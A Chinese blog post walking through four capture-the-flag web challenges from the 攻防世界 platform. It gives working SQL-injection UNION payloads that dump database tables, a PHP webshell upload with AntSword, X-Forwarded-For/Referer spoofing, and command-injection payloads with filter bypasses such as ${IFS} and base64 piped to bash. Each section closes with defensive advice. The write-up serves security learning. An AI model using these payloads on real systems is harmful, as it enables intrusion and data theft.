双剑破天门:攻防世界Web题解之独孤九剑心法(七)

双剑破天门:攻防世界Web题解之独孤九剑心法(七)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Newscenter

二:upload1

三:Xff_referer

四:Command_execution

五:总结

1. Newscenter(SQL注入)

2. upload1(文件上传漏洞)

3. Xff_referer(HTTP头伪造)

4. Command_execution(命令注入)


一:Newscenter

打开为如下所示

经过尝试,得知在输入框中输入数字可得到不同内容

输入23就没有新闻

所以我们得知这个输入框和数据库有交互,那这题考察的可能就是SQL注入

发现将数据库中所有的内容都查询了出来,那这个题考察的就是SQL注入

字段长度为3

23' order by 3 #

回显字段有2,3

23' union select 1,2,3 #

数据库名为news

23' union select 1,database(),3 #

表名为如下

23' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #

根据表名查到列名

23' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

成功拿到flag

23' union select 1,fl4g,3 from secret_table #

二:upload1

发现有提示框提示需要上传图片,既然是提示框那就说明是前端验证

关闭如下所示

然后我们上传一张php即可

用蚁剑连接即可

成功拿到flag


三:Xff_referer

打开提示我们ip必须为123.123.123.123,那我们得知既然要ip来自于123,那就需要进行伪造ip头也就是X-Forwarded-For字段

打开bp进行抓包

输入X-Forwarded-For:123.123.123.123 进行伪造

发送后又提示我们来源为google

来源字段是referer

伪造referer字段


四:Command_execution

打开发现为ping功能,我们先随便ping一下然后再看看能否查看其他数据

Ping 127.0.0.1 发现可以,那我们填写这样的payload:127.0.0.1 | ls

成功执行ls,说明没有任何过滤。那接下来就可以查找flag了

执行127.0.0.1 |find / -name “fl*”

发现可以文件如下

成功拿到flag


五:总结

1. Newscenter(SQL注入)

考察点

  • SQL注入漏洞:未对用户输入进行过滤,允许通过注入获取数据库信息。
  • 联合查询(UNION注入):通过构造联合查询语句获取敏感数据。

解题思路

  1. 探测注入点:在搜索框输入单引号',观察是否存在报错。
  2. 判断字段数:使用ORDER BY确定查询字段数(如' ORDER BY 3--)。
  3. 联合查询注入
    • 构造Payload:' UNION SELECT 1,2,database()-- 获取数据库名。
    • 继续查询表名(如information_schema.tables)、列名,最终读取flag字段。

关键技术

  • 报错注入或布尔盲注(根据回显情况选择)。
  • 利用information_schema数据库获取元数据。

防御建议

  • 使用预编译语句(Prepared Statements)。
  • 对输入进行严格的字符过滤和转义。

2. upload1(文件上传漏洞)

考察点

  • 文件上传绕过:绕过前端和后端对文件类型、内容的检测。
  • Webshell利用:上传m蚂获取服务器权限。

解题思路

  1. 绕过前端验证
    • 修改文件扩展名为.php,并抓包修改Content-Typeimage/jpeg
  2. 绕过后端检测
    • 使用图片m(在图片中嵌入PHP代码),或利用.htaccess文件设置解析规则(如AddType application/x-httpd-php .jpg)。
  3. 访问上传文件:通过上传路径访问Webshell,执行系统命令获取flag。

关键技术

  • 双写扩展名绕过(如up.php.phtml)。
  • 利用服务器解析漏洞(如Apache解析漏洞test.php.xxx)。

防御建议

  • 限制上传文件类型,使用白名单机制。
  • 重命名上传文件,避免直接执行。

3. Xff_referer(HTTP头伪造)

考察点

  • HTTP头伪造:伪造X-Forwarded-For(XFF)和Referer头绕过访问控制。
  • 本地访问限制:服务器仅允许特定来源或本地IP访问。

解题思路

  1. 伪造XFF头:使用Burp Suite拦截请求,添加X-Forwarded-For: 127.0.0.1伪装本地IP。
  2. 伪造Referer头:修改Referer为题目指定域名(如http://www.google.com)通过验证。

关键技术

  • 工具:Burp Suite/Postman修改请求头。
  • 理解HTTP头在访问控制中的作用。

防御建议

  • 避免依赖客户端可控的字段(如XFF、Referer)做权限验证。
  • 使用服务器端会话机制管理权限。

4. Command_execution(命令注入)

考察点

  • 命令注入漏洞:未过滤用户输入直接拼接系统命令。
  • 绕过过滤技巧:绕过空格、关键词黑名单等限制。

解题思路

  1. 探测注入点:输入127.0.0.1; ls尝试执行命令。
  2. 绕过过滤
    • 空格绕过:使用${IFS}%09(Tab的URL编码)。
    • 关键词绕过:用ca\tbase64编码命令(如echo "Y2F0IGZsYWc=" | base64 -d | bash)。
  3. 读取flag:通过cattac命令读取flag文件。

关键技术

  • 命令分隔符:;&|||
  • 通配符绕过:cat fla*

防御建议

  • 使用安全的API(如subprocess模块)替代直接执行命令。
  • 严格校验输入,禁止特殊字符。

(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Could not load content